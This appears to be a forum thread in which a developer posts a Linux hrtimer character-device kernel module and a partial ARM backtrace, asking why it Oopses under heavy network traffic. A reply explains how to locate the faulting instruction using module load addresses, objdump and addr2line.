r4:803f5190 r3:803f4cc8
[<802c3e60>] (rest_init+0x0/0xa0) from [<8000897c>] (start_kernel+0x234/0x284)
[<80008748>] (start_kernel+0x0/0x284) from [<80008034>] (__enable_mmu+0x0/0x2c)
=========================================
#include <linux/hrtimer.h>
#include <linux/module.h>
#include <linux/ktime.h>
#include <linux/kdev_t.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/wait.h>
#include <linux/sched.h>
#define FIRST_MINOR 0
#define MINOR_CNT 1
static struct class *cl;
static struct cdev cdev;
static dev_t dev;
static u8 timer_expired = 0;
static wait_queue_head_t wq_head;
static struct hrtimer timer;
static ssize_t hr_read(struct file *f, char * __user buff, size_t cnt, loff_t *off)
{
wait_event_interruptible(wq_head, timer_expired);
timer_expired = 0;
return 0;
}
static int hr_open(struct inode *i, struct file *f)
{
ktime_t ktime;
ktime.tv64 = 1E6L;
hrtimer_start(&timer, ktime, HRTIMER_MODE_REL);
return 0;
}
static int hr_close(struct inode *i, struct file *f)
{
if (hrtimer_cancel(&timer))
printk(KERN_INFO "timercancelled\n");
return 0;
}
static struct file_operations hr_fops = {
.read = hr_read,
.open = hr_open,
.release = hr_close
};
static enum hrtimer_restart timer_callback(struct hrtimer *timer)
{
ktime_t ktime;
u64 overrun;
ktime.tv64 = 1E6L;
//printk("KERN_INFO""Timer Expired");
overrun = hrtimer_forward_now(timer, ktime);
timer_expired = 1;
wake_up_interruptible(&wq_head);
return HRTIMER_RESTART;
}
#if 1
static int init_hrtimer(void)
{
ktime_t ktime;
unsigned long delay_in_ms = 500L;
printk(KERN_ERR "Timer being set up\n");
ktime = ktime_set(0,delay_in_ms*1E6L);
hrtimer_init(&timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
timer.function = &timer_callback;
printk(KERN_ERR "Timer starting to fire\n");
printk(KERN_ERR "in %ldms %ld\n", delay_in_ms, jiffies);
if (alloc_chrdev_region(&dev, FIRST_MINOR, MINOR_CNT, "Hr Timer") < 0)
{
return -1;
}
printk("Major Nr: %d\n", MAJOR(dev));
cdev_init(&cdev, &hr_fops);
if (cdev_add(&cdev, dev, MINOR_CNT) == -1)
{
unregister_chrdev_region(dev, MINOR_CNT);
return -1;
}
if ((cl = class_create(THIS_MODULE, "hrtimer")) == NULL)
{
cdev_del(&cdev);
unregister_chrdev_region(dev, MINOR_CNT);
return -1;
}
if (IS_ERR(device_create(cl, NULL, dev, NULL, "hrt%d", 0)))
{
class_destroy(cl);
cdev_del(&cdev);
unregister_chrdev_region(dev, MINOR_CNT);
return -1;
}
init_waitqueue_head(&wq_head);
return 0;
}
#endif
static void clean_hrtimer(void)
{
int cancelled = hrtimer_cancel(&timer);
if (cancelled)
printk(KERN_ERR "Timer still running\n");
else
printk(KERN_ERR "Timer cancelled\n");
device_destroy(cl, dev);
class_destroy(cl);
cdev_del(&cdev);
unregister_chrdev_region(dev, MINOR_CNT);
}
module_init(init_hrtimer);
module_exit(clean_hrtimer);
MODULE_LICENSE("GPL");
========================
I use the above code as a driver module and insert it with insmod. I expect this to fire every 1 ms and it works fine but once in a while when ehernet traffic is too high, it gives a kernel Oops as explained. Please check if the code is having any issues in it or not?
I checked the lsmod, and i see that all the 5 kernel modules (my own) are loaded between: 0x7f000000 to 0x7f02xxxx
mod at 0x7f020xxxx,
timermod at 0x7f01xxx,
mod2 at 0x7f01xxxx,
mod3 at 0x7f00xxxx,
mod4 at 0x7f000000.
There is no module loaded at oops address 0x7eb52754. I checked from /proc/kallsyms file to
verify this. How to check the mapping of 0x7eb5xxxx in to the source file? Where else can i get the data for this on system.
According to the error message, the code that caused this kernel panic resides at virtual address 0x7eb52754. Judging from the address (just below 0x8000000), I'm guessing this is the code segment of a kernel module - probably one of your own kernel modules.
To do a root cause analyses, load your (and all other) kernel modules in the same order as they were loaded when this panic occurred and observe their load address as printed by lsmod (or cat /proc/modules which is almost the same).
Using their code size and load address, calculate which module text segment resides at virtual address 0x7eb52754. The subtract 0x7eb52754 from the module load address.
What you will get is the offset into the module binary of the instruction that caused the panic.
Now use objdump on the kernel module binary and look for that offset, and check to which function it belong (this can also be done with add2line, if you have that too). This should point you to the function and even line number (if you have debug information) of the instruction that caused this panic.
good luck.